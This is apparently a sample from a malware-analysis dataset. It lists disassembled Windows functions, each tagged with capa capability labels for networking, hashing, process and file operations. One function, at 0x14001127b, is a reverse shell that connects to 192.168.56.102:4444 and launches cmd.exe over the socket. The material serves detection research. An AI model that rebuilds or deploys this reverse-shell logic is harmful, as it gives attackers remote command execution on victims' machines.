joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140017b90
Capabilities:
Set socket configuration

Disassembly:
push rbx
sub rsp, 0x30
mov eax, dword [0x1400570f0]
mov rbx, rcx
mov dword [rsp + 0x50], 0x4020
mov dword [rsp + 0x48], 0
mov dword [rsp + 0x58], 4
test eax, eax
jne 0x140017bed
lea r9d, [rax + 3]
lea r8d, [rax + 2]
lea ecx, [rax + 6]
xor edx, edx
call fcn.140012490
test al, al
je 0x140017be1
mov dword [0x1400570f0], 2
add rsp, 0x30
pop rbx
ret
mov dword [0x1400570f0], 1
jmp 0x140017bf2
cmp eax, 2
je 0x140017c44
lea rax, [rsp + 0x58]
lea r9, [rsp + 0x48]
mov edx, 0xffff
mov r8d, 0x1001
mov rcx, rbx
mov qword [rsp + 0x20], rax
call qword [sym.imp.WS2_32.dll_getsockopt]
test eax, eax
jne 0x140017c23
mov eax, dword [rsp + 0x50]
cmp dword [rsp + 0x48], eax
jg 0x140017c44
lea r9, [rsp + 0x50]
mov edx, 0xffff
mov r8d, 0x1001
mov rcx, rbx
mov dword [rsp + 0x20], 4
call qword [sym.imp.WS2_32.dll_setsockopt]
add rsp, 0x30
pop rbx
ret
Function at 0x140017e60
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
mov rax, rsp
mov qword [rax + 0x20], rbx
push rdi
sub rsp, 0x1a0
cmp dword [rcx + 0xbc], 3
mov rdi, rdx
mov rbx, rcx
jne 0x140018075
cmp byte [rcx + 0x3ed], 0
mov qword [rax + 0x10], rsi
jne 0x140018065
cmp byte [rcx + 0x405], 0
jne 0x140018065
mov rsi, qword [rcx]
lea r8, [rax + 8]
lea rdx, [rax - 0x88]
mov rcx, rdi
mov dword [rax + 8], pe_nt_image_headers64
call qword [sym.imp.WS2_32.dll_getpeername]
test eax, eax
je 0x140017ef6
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
lea rdx, [rsp + 0x20]
mov r8d, pe_nt_image_headers64
mov ecx, eax
mov ebx, eax
call fcn.140030440
lea rdx, str.getpeername___failed_with_errno__d:__s
mov r8d, ebx
mov r9, rax
mov rcx, rsi
call fcn.140012b70
jmp 0x14001806d
lea rcx, [rsp + 0xa0]
xor edx, edx
mov r8d, pe_nt_image_headers64
mov dword [rsp + 0x1c0], pe_nt_image_headers64
call sub.msvcrt.dll_memset
lea r8, [rsp + 0x1c0]
lea rdx, [rsp + 0xa0]
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_getsockname]
test eax, eax
je 0x140017f67
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
lea rdx, [rsp + 0x20]
mov r8d, pe_nt_image_headers64
mov ecx, eax
mov ebx, eax
call fcn.140030440
lea rdx, str.getsockname___failed_with_errno__d:__s
mov r8d, ebx
mov r9, rax
mov rcx, rsi
call fcn.140012b70
jmp 0x14001806d
mov edx, dword [rsp + 0x1b0]
lea rdi, [rbx + 0x18e]
lea r9, [rbx + 0x1bc]
lea rcx, [rsp + 0x120]
mov r8, rdi
call fcn.1400170e0
test al, al
jne 0x140017fce
call qword [sym.imp.msvcrt.dll__errno]
mov rbx, rax
call qword [sym.imp.msvcrt.dll__errno]
mov ecx, dword [rbx]
lea rdx, [rsp + 0x20]
mov r8d, pe_nt_image_headers64
mov rdi, rax
call fcn.140030440
mov r8d, dword [rdi]
lea rdx, str.ssrem_inet_ntop___failed_with_errno__d:__s
mov r9, rax
mov rcx, rsi
call fcn.140012b70
jmp 0x14001806d
movups xmm0, xmmword [rdi]
mov eax, dword [rdi + 0x28]
movups xmm1, xmmword [rdi + 0x10]
mov edx, dword [rsp + 0x1c0]
lea r9, [rbx + 0x1f0]
lea r8, [rbx + 0x1c0]
lea rcx, [rsp + 0xa0]
movups xmmword [rbx + 0x88], xmm0
movsd xmm0, qword [rdi + 0x20]
movups xmmword [rbx + 0x98], xmm1
movsd qword [rbx + 0xa8], xmm0
mov dword [rbx + 0xb0], eax
movzx eax, word [rdi + 0x2c]
mov word [rbx + 0xb4], ax
call fcn.1400170e0
test al, al
jne 0x140018065
call qword [sym.imp.msvcrt.dll__errno]
mov rbx, rax
call qword [sym.imp.msvcrt.dll__errno]
mov ecx, dword [rbx]
lea rdx, [rsp + 0x20]
mov r8d, pe_nt_image_headers64
mov rdi, rax
call fcn.140030440
mov r8d, dword [rdi]
lea rdx, str.ssloc_inet_ntop___failed_with_errno__d:__s
mov r9, rax
mov rcx, rsi
call fcn.140012b70
jmp 0x14001806d
mov rcx, rbx
call fcn.140017aa0
mov rsi, qword [rsp + 0x1b8]
mov rbx, qword [rsp + 0x1c8]
add rsp, 0x1a0
pop rdi
ret
Function at 0x140018a10
Capabilities:
Set socket configuration

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x60
xor esi, esi
mov rdi, rdx
mov rbx, rcx
mov eax, esi
lea r9, [rsp + 0x70]
lea r8d, [rsi + 8]
cmp byte [rcx + 0xea7], al
mov edx, 0xffff
mov rcx, rdi
setne al
mov dword [rsp + 0x20], 4
mov dword [rsp + 0x70], eax
call qword [sym.imp.WS2_32.dll_setsockopt]
test eax, eax
jns 0x140018a7e
lea rdx, str.Failed_to_set_SO_KEEPALIVE_on_fd__d_n
mov r8, rdi
mov rcx, rbx
call fcn.140012cd0
mov rbx, qword [rsp + 0x78]
mov rsi, qword [rsp + 0x88]
add rsp, 0x60
pop rdi
ret
mov ecx, dword [rbx + 0xe0c]
mov dword [rsp + 0x50], 1
call fcn.14001c6c0
imul ecx, eax, 0x3e8
mov dword [rsp + 0x70], ecx
mov dword [rsp + 0x54], ecx
mov ecx, dword [rbx + 0xe10]
call fcn.14001c6c0
mov qword [rsp + 0x40], rsi
mov qword [rsp + 0x38], rsi
lea r8, [rsp + 0x50]
mov r9d, listen
mov edx, 0x98000004
imul ecx, eax, 0x3e8
lea rax, [rsp + 0x80]
mov dword [rsp + 0x70], ecx
mov dword [rsp + 0x58], ecx
mov qword [rsp + 0x30], rax
mov rcx, rdi
mov dword [rsp + 0x28], esi
mov qword [rsp + 0x20], rsi
call qword [sym.imp.WS2_32.dll_WSAIoctl]
test eax, eax
je 0x140018b10
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
lea rdx, str.Failed_to_set_SIO_KEEPALIVE_VALS_on_fd__d:__d_n
mov r8d, edi
mov r9d, eax
mov rcx, rbx
call fcn.140012cd0
mov rbx, qword [rsp + 0x78]
mov rsi, qword [rsp + 0x88]
add rsp, 0x60
pop rdi
ret

Function at 0x140018b30
Capabilities:
Set socket configuration

Disassembly:
mov r11, rsp
push rbx
sub rsp, 0xb0
mov rbx, qword [rcx]
mov rax, rdx
mov edx, 6
lea r9, [r11 + 8]
lea r8d, [rdx - 5]
mov rcx, rax
mov dword [r11 + 8], 1
mov dword [rsp + 0x20], 4
call qword [sym.imp.WS2_32.dll_setsockopt]
test eax, eax
jns 0x140018b9e
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
lea rdx, [rsp + 0x30]
mov r8d, pe_nt_image_headers64
mov ecx, eax
call fcn.140030440
lea rdx, str.Could_not_set_TCP_NODELAY:__s_n
mov rcx, rbx
mov r8, rax
call fcn.140012cd0
add rsp, 0xb0
pop rbx
ret
lea rdx, str.TCP_NODELAY_set_n
mov rcx, rbx
call fcn.140012cd0
add rsp, 0xb0
pop rbx
ret
Function at 0x14002a200
Capabilities:
Query environment variable

Disassembly:
mov eax, 0x1028
call fcn.1400020c0
sub rsp, rax
call qword [sym.imp.msvcrt.dll_getenv]
mov byte [rsp + 0x20], 0
test rax, rax
je 0x14002a24b
lea rdx, [rsp + 0x20]
mov r8d, 0x1000
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
cmp byte [rsp + 0x20], 0
je 0x14002a24b
lea rcx, [rsp + 0x20]
call qword [case.0x14000f977.0]
add rsp, 0x1028
ret
xor eax, eax
add rsp, 0x1028
ret

Function at 0x14002c200
Capabilities:
Hash data via wincrypt
Initialize hashing via wincrypt

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
push rsi
push rdi
push r14
sub rsp, 0x50
mov rdi, r8
xor r14d, r14d
mov rbx, r9
mov rsi, rdx
mov rbp, rcx
mov r8, r9
mov rcx, rdi
xor edx, edx
mov qword [rax - 0x28], r14
mov qword [rax - 0x30], r14
mov dword [rax + 0x20], r14d
mov dword [rax - 0x38], 4
mov dword [rax - 0x34], ebx
call sub.msvcrt.dll_memset
mov r9d, dword [rsp + 0x90]
lea rcx, [rsp + 0x40]
xor r8d, r8d
xor edx, edx
mov dword [rsp + 0x20], 0xf0000000
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
test eax, eax
je 0x14002c31a
mov edx, dword [rsp + 0x98]
mov rcx, qword [rsp + 0x40]
lea rax, [rsp + 0x38]
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_CryptCreateHash]
test eax, eax
je 0x14002c2f8
mov rcx, qword [rsp + 0x38]
xor r9d, r9d
mov r8d, esi
mov rdx, rbp
call qword [sym.imp.ADVAPI32.dll_CryptHashData]
test eax, eax
je 0x14002c2f8
mov rcx, qword [rsp + 0x38]
lea r9, [rsp + 0x30]
lea r8, [rsp + 0x88]
lea edx, [r14 + 4]
mov dword [rsp + 0x20], r14d
call qword [sym.imp.ADVAPI32.dll_CryptGetHashParam]
test eax, eax
je 0x14002c2f8
mov eax, dword [rsp + 0x88]
cmp rbx, rax
jb 0x14002c2f8
mov rcx, qword [rsp + 0x38]
lea r9, [rsp + 0x34]
lea edx, [r14 + 2]
mov r8, rdi
mov dword [rsp + 0x20], r14d
call qword [sym.imp.ADVAPI32.dll_CryptGetHashParam]
mov rcx, qword [rsp + 0x38]
test rcx, rcx
je 0x14002c308
call qword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
mov rcx, qword [rsp + 0x40]
test rcx, rcx
je 0x14002c31a
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov rbx, qword [rsp + 0x70]
mov rbp, qword [rsp + 0x78]
add rsp, 0x50
pop r14
pop rdi
pop rsi
ret
Function at 0x14002f6d0
Capabilities:
Resolve dns

Disassembly:
push rbx
push r12
push r13
push r14
push r15
sub rsp, 0x20
xor r13d, r13d
mov r12, r9
mov qword [r9], r13
lea r9, [rsp + 0x68]
mov ebx, r13d
mov r15d, r13d
call qword [sym.imp.WS2_32.dll_getaddrinfo]
mov r14d, eax
test eax, eax
jne 0x14002f894
mov qword [rsp + 0x58], rsi
mov rsi, qword [rsp + 0x68]
mov qword [rsp + 0x60], rdi
test rsi, rsi
je 0x14002f874
mov qword [rsp + 0x50], rbp
mov eax, dword [rsi + 4]
cmp eax, 2
jne 0x14002f72d
lea ebp, [rax + 0xe]
jmp 0x14002f739
cmp eax, 0x17
jne 0x14002f7e1
lea ebp, [rax + 5]
cmp qword [rsi + 0x20], r13
je 0x14002f7e1
mov rax, qword [rsi + 0x10]
test rax, rax
je 0x14002f7e1
cmp rax, rbp
jb 0x14002f7e1
mov ecx, 0x30
call qword [sub.msvcrt.dll_malloc]
mov rdi, rax
test rax, rax
je 0x14002f81c
mov ecx, dword [rsi]
mov dword [rax], ecx
mov ecx, dword [rsi + 4]
mov dword [rax + 4], ecx
mov ecx, dword [rsi + 8]
mov dword [rax + 8], ecx
mov ecx, dword [rsi + 0xc]
mov dword [rax + 0x10], ebp
mov dword [rax + 0xc], ecx
mov rcx, rbp
mov qword [rax + 0x20], r13
mov qword [rax + 0x18], r13
mov qword [rax + 0x28], r13
call qword [sub.msvcrt.dll_malloc]
mov qword [rdi + 0x20], rax
test rax, rax
je 0x14002f80b
mov rdx, qword [rsi + 0x20]
mov r8, rbp
mov rcx, rax
call sub.msvcrt.dll_memcpy
mov rcx, qword [rsi + 0x18]
test rcx, rcx
je 0x14002f7ce
call qword [case.0x14000f977.0]
mov qword [rdi + 0x18], rax
test rax, rax
je 0x14002f7f0
test rbx, rbx
cmove rbx, rdi
test r15, r15
je 0x14002f7de
mov qword [r15 + 0x28], rdi
mov r15, rdi
mov rsi, qword [rsi + 0x28]
test rsi, rsi
jne 0x14002f720
jmp 0x14002f822
mov rcx, qword [rdi + 0x20]
mov r14d, 8
call qword [fcn.14000204e]
mov rcx, rdi
call qword [fcn.14000204e]
jmp 0x14002f822
mov rcx, rdi
mov r14d, 8
call qword [fcn.14000204e]
jmp 0x14002f822
mov r14d, 8
mov rcx, qword [rsp + 0x68]
mov rbp, qword [rsp + 0x50]
test rcx, rcx
je 0x14002f837
call qword [sym.imp.WS2_32.dll_freeaddrinfo]
test r14d, r14d
je 0x14002f86f
test rbx, rbx
je 0x14002f86a
mov rcx, qword [rbx + 0x20]
call qword [fcn.14000204e]
mov rcx, qword [rbx + 0x18]
call qword [fcn.14000204e]
mov rdi, qword [rbx + 0x28]
mov rcx, rbx
call qword [fcn.14000204e]
mov rbx, rdi
test rdi, rdi
jne 0x14002f841
mov rbx, r13
jmp 0x14002f883
test rbx, rbx
jne 0x14002f883
mov r14d, 0x2af9
mov ecx, r14d
call qword [sym.imp.WS2_32.dll_WSASetLastError]
mov rdi, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x58]
mov qword [r12], rbx
mov eax, r14d
add rsp, 0x20
pop r15
pop r14
pop r13
pop r12
pop rbx
ret
Function at 0x140034810
Capabilities:
Connect socket
Get local ipv4 addresses
Get socket information
Receive data
Receive data on socket
Send data
Send data on socket
Set socket configuration

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x60
mov edx, 1
mov ebx, 2
mov rsi, r9
lea r8d, [rdx + 5]
mov ecx, ebx
mov dword [rsp + 0x34], reloc.WS2_32.dll_recv
mov dword [rsp + 0x30], 1
call qword [sym.imp.WS2_32.dll_socket]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x140034a01
xor eax, eax
mov ecx, 0x7f000001
mov qword [rsp + 0x38], rax
mov word [rsp + 0x38], bx
mov qword [rsp + 0x40], rax
call qword [sym.imp.WS2_32.dll_htonl]
lea r9, [rsp + 0x30]
lea r8d, [rbx + 2]
mov dword [rsp + 0x3c], eax
xor eax, eax
mov edx, 0xffff
mov rcx, rdi
mov qword [rsi + 8], 0xffffffffffffffff
mov qword [rsi], 0xffffffffffffffff
mov word [rsp + 0x3a], ax
mov dword [rsp + 0x20], 4
call qword [sym.imp.WS2_32.dll_setsockopt]
cmp eax, 0xffffffff
je 0x1400349e5
lea r8d, [rbx + 0xe]
lea rdx, [rsp + 0x38]
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_bind]
cmp eax, 0xffffffff
je 0x1400349e5
lea r8, [rsp + 0x34]
lea rdx, [rsp + 0x38]
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_getsockname]
cmp eax, 0xffffffff
je 0x1400349e5
lea edx, [rbx - 1]
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_listen]
cmp eax, 0xffffffff
je 0x1400349e5
lea edx, [rbx - 1]
xor r8d, r8d
mov ecx, ebx
call qword [sym.imp.WS2_32.dll_socket]
mov qword [rsi], rax
cmp rax, 0xffffffffffffffff
je 0x1400349e5
lea r8d, [rbx + 0xe]
lea rdx, [rsp + 0x38]
mov rcx, rax
call qword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
je 0x1400349e5
xor r8d, r8d
xor edx, edx
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_accept]
mov qword [rsi + 8], rax
cmp rax, 0xffffffffffffffff
je 0x1400349e5
lea r8, [0x14004e328]
lea edx, [rbx + 0xa]
lea rcx, [rsp + 0x48]
mov r9, rsi
call fcn.140026d30
lea rax, [rsp + 0x48]
or rbx, 0xffffffffffffffff
inc rbx
cmp byte [rax + rbx], 0
jne 0x140034971
mov rcx, qword [rsi]
lea rdx, [rsp + 0x48]
xor r9d, r9d
mov r8d, ebx
call qword [sym.imp.WS2_32.dll_send]
movsxd rcx, eax
cmp rcx, rbx
jne 0x1400349e5
mov rcx, qword [rsi + 8]
xor r9d, r9d
lea rdx, [rsp + 0x54]
lea r8d, [r9 + 0xc]
call qword [sym.imp.WS2_32.dll_recv]
movsxd rcx, eax
cmp rcx, rbx
jne 0x1400349e5
lea rdx, [rsp + 0x54]
lea rcx, [rsp + 0x48]
mov r8, rbx
call sub.msvcrt.dll_memcmp
test eax, eax
jne 0x1400349e5
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_closesocket]
xor eax, eax
mov rbx, qword [rsp + 0x70]
mov rsi, qword [rsp + 0x78]
add rsp, 0x60
pop rdi
ret
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_closesocket]
mov rcx, qword [rsi]
call qword [sym.imp.WS2_32.dll_closesocket]
mov rcx, qword [rsi + 8]
call qword [sym.imp.WS2_32.dll_closesocket]
mov rbx, qword [rsp + 0x70]
mov rsi, qword [rsp + 0x78]
or eax, 0xffffffff
add rsp, 0x60
pop rdi
ret

Function at 0x140034a20
Capabilities:
Set socket configuration

Disassembly:
sub rsp, 0x28
xor eax, eax
test edx, edx
lea r8, [rsp + 0x38]
setne al
mov edx, 0x8004667e
mov dword [rsp + 0x38], eax
call qword [sym.imp.WS2_32.dll_ioctlsocket]
add rsp, 0x28
ret
Function at 0x140039ed0
Capabilities:
Get hostname

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
movsxd rbx, edx
mov rdi, rcx
mov byte [rcx], 0
mov edx, ebx
call qword [sym.imp.WS2_32.dll_gethostname]
mov byte [rbx + rdi - 1], 0
test eax, eax
jne 0x140039f0a
lea edx, [rax + 0x2e]
mov rcx, rdi
call qword [sym.imp.msvcrt.dll_strchr]
test rax, rax
je 0x140039f08
mov byte [rax], 0
xor eax, eax
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
Function at 0x140040c60
Capabilities:
Authenticate hmac
Encode data using xor

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rdi
push r14
sub rsp, 0x20
mov eax, dword [rcx + 0x18]
mov rbx, rcx
mov ebp, r8d
lea ecx, [rax + rax]
mov eax, dword [rbx + 0x20]
mov r14, rdx
add rax, 0x18
add rcx, rax
call qword [sub.msvcrt.dll_malloc]
mov rdi, rax
test rax, rax
jne 0x140040ca2
mov rbx, qword [rsp + 0x50]
add rsp, 0x20
pop r14
pop rdi
pop rbp
ret
lea rcx, [rax + 0x18]
mov qword [rax], rbx
mov qword [rsp + 0x48], rsi
mov qword [rax + 8], rcx
mov eax, dword [rbx + 0x18]
add rax, rcx
mov qword [rdi + 0x10], rax
cmp ebp, dword [rbx + 0x1c]
jbe 0x140040ce5
call qword [rbx]
mov rcx, qword [rdi + 8]
mov r8d, ebp
mov rdx, r14
call qword [rbx + reloc.WS2_32.dll_htonl]
mov r14d, dword [rbx + 0x18]
mov rdx, qword [rdi + 8]
add r14, qword [rdi + 0x10]
mov rcx, r14
call qword [rbx + reloc.WS2_32.dll_recv]
mov ebp, dword [rbx + 0x20]
mov rcx, qword [rdi + 8]
call qword [rbx]
mov rcx, qword [rdi + 0x10]
call qword [rbx]
xor esi, esi
test rbp, rbp
je 0x140040d41
mov rsi, rbp
nop dword [rax + rax]
movzx eax, byte [r14]
lea rdx, [rsp + 0x40]
mov r8d, 1
xor al, 0x36
mov byte [rsp + 0x40], al
mov rcx, qword [rdi + 8]
call qword [rbx + reloc.WS2_32.dll_htonl]
movzx eax, byte [r14]
lea rdx, [rsp + 0x40]
xor al, 0x5c
mov r8d, 1
lea r14, [r14 + 1]
mov byte [rsp + 0x40], al
mov rcx, qword [rdi + 0x10]
call qword [rbx + reloc.WS2_32.dll_htonl]
dec rbp
jne 0x140040d00
mov eax, dword [rbx + 0x1c]
cmp rsi, rax
jae 0x140040d83
nop dword [rax]
mov rcx, qword [rdi + 8]
lea rdx, [0x140050dd1]
mov r8d, 1
call qword [rbx + reloc.WS2_32.dll_htonl]
mov rcx, qword [rdi + 0x10]
lea rdx, [0x140050dd2]
mov r8d, 1
call qword [rbx + reloc.WS2_32.dll_htonl]
mov eax, dword [rbx + 0x1c]
inc rsi
cmp rsi, rax
jb 0x140040d50
mov rsi, qword [rsp + 0x48]
mov rbx, qword [rsp + 0x50]
mov rax, rdi
add rsp, 0x20
pop r14
pop rdi
pop rbp
ret
Function at 0x1400111fe
Capabilities:
Terminate process

Disassembly:
jmp 0x140015420
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret

Function at 0x14001127b
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create a process with modified i/o handles and window
Create process on windows
Create process suspended
Create tcp socket
Create udp socket
Initialize winsock library
Resolve dns

Disassembly:
jmp 0x1400117f0
push rbp
push rsi
push rdi
sub rsp, 0x410
lea rbp, [rsp + 0x50]
lea rdi, [rsp + 0x50]
mov ecx, 0x90
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
lea rcx, [0x1400230a5]
call fcn.14001138e
lea rdx, [0x14001d1d0]
mov cx, 0x202
call qword [sym.imp.WS2_32.dll_WSAStartup]
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 6
mov edx, 1
mov ecx, 2
call qword [sym.imp.WS2_32.dll_WSASocketW]
mov qword [0x14001d368], rax
lea rcx, str.192.168.56.102
call qword [sym.imp.WS2_32.dll_gethostbyname]
mov qword [rbp + 8], rax
mov eax, 8
imul rax, rax, 0
mov rcx, qword [rbp + 8]
mov rcx, qword [rcx + 0x18]
mov rax, qword [rax + rcx]
mov ecx, dword [rax]
call qword [sym.imp.WS2_32.dll_inet_ntoa]
mov r8, rax
mov edx, 0x10
lea rcx, str.192.168.56.102
call qword [sym.imp.ucrtbased.dll_strcpy_s]
mov eax, 2
mov word [0x14001d370], ax
lea rcx, str.4444
call qword [sym.imp.ucrtbased.dll_atoi]
movzx ecx, ax
call qword [sym.imp.WS2_32.dll_htons]
mov word [0x14001d372], ax
lea rcx, str.192.168.56.102
call qword [sym.imp.WS2_32.dll_inet_addr]
mov dword [0x14001d374], eax
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 0x10
lea rdx, [0x14001d370]
mov rcx, qword [0x14001d368]
call qword [sym.imp.WS2_32.dll_WSAConnect]
mov r8d, 0x68
xor edx, edx
lea rcx, [0x14001d380]
call fcn.1400112d0
mov dword [0x14001d380], 0x68
mov dword [0x14001d3bc], 0x101
mov rax, qword [0x14001d368]
mov qword [0x14001d3e0], rax
mov rax, qword [0x14001d3e0]
mov qword [0x14001d3d8], rax
mov rax, qword [0x14001d3d8]
mov qword [0x14001d3d0], rax
lea rax, [rbp + 0x30]
lea rcx, str.cmd.exe
mov rdi, rax
mov rsi, rcx
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x40]
mov rdi, rax
xor eax, eax
mov ecx, 0x1ee
rep stosb byte [rdi], al
lea rax, [0x14001d3e8]
mov qword [rsp + 0x48], rax
lea rax, [0x14001d380]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 1
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x30]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
xor eax, eax
mov edi, eax
lea rcx, [rbp - 0x50]
lea rdx, [0x14001ac00]
call fcn.14001131b
mov eax, edi
lea rsp, [rbp + 0x3c0]
pop rdi
pop rsi
pop rbp
ret
Function at 0x140011285
Capabilities:
Parse pe header

Disassembly:
jmp 0x140013ae0
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x140013b00
xor al, al
jmp 0x140013b81
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x140013b13
xor al, al
jmp 0x140013b81
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x140013b3d
xor al, al
jmp 0x140013b81
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x140013b51
xor al, al
jmp 0x140013b81
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x140013b63
xor al, al
jmp 0x140013b81
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x140013b7f
xor al, al
jmp 0x140013b81
mov al, 1
add rsp, 0x38
ret
Function at 0x140019881
Capabilities:
Check if file exists

Disassembly:
push r15
push r14
push rsi
push rdi
push rbp
push rbx
sub rsp, 0xf8
mov rsi, r8
mov rdi, rdx
mov rbx, rcx
mov rax, qword [0x140186028]
xor rax, rsp
mov qword [rsp + 0xf0], rax
mov rcx, rdx
call fcn.140061840
mov ebp, eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp ebp, eax
je 0x1400198d0
mov rcx, rdi
call fcn.14001e336
mov ebp, 0x100000
test al, al
je 0x1400198d5
mov ebp, 0x101000
lea r14, [rsp + 0x50]
mov r8d, 0xa0
mov rcx, r14
mov dl, 0xaa
call fcn.14009e420
mov rcx, r14
call fcn.140099920
mov byte [r14 + 0x22], 1
lea rcx, [rsp + 0x58]
call fcn.140062210
movaps xmm0, xmmword [0x140157be0]
lea r15, [rsp + 0x40]
movaps xmmword [r15], xmm0
mov rcx, r15
mov rdx, rbx
mov r8, r14
call fcn.140099b30
mov rcx, r15
call fcn.14003faf0
test al, al
je 0x1400199b7
lea rbx, [rsp + 0x38]
mov qword [rbx], 0
mov rcx, rdi
call fcn.140061820
mov r14, rax
lea rcx, [rsp + 0x40]
call fcn.140061820
mov r15, rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
xor edi, edi
mov dword [rsp + 0x30], edi
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x20], ebp
mov rcx, rax
mov rdx, r15
mov r8, r14
mov r9, rbx
call qword [sym.imp.KERNEL32.dll_DuplicateHandle]
test eax, eax
je 0x1400199b7
mov r14, qword [rsp + 0x38]
cmp qword [rsi], r14
je 0x1400199d3
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
mov rax, qword [rsi]
inc rax
cmp rax, 2
jae 0x140019a09
lea rax, [r14 + 1]
cmp rax, 2
jb 0x1400199ad
mov qword [rsi], r14
call fcn.140043b80
mov ecx, ebx
call qword [sym.imp.KERNEL32.dll_SetLastError]
jmp 0x1400199d3
call qword [sym.imp.KERNEL32.dll_GetLastError]
movzx ecx, ax
or ecx, 0x80070000
test eax, eax
cmovle ecx, eax
mov edi, 0x80004005
cmovne edi, ecx
lea rcx, [rsp + 0x40]
call fcn.14003fac0
lea rcx, [rsp + 0x50]
call fcn.140099d30
mov rcx, qword [rsp + 0xf0]
xor rcx, rsp
call fcn.14009c2d0
mov eax, edi
add rsp, 0xf8
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
pop r15
ret
call fcn.140043b80
mov rcx, qword [rsi]
call fcn.14003f990
mov qword [rsi], 0
jmp 0x14001999b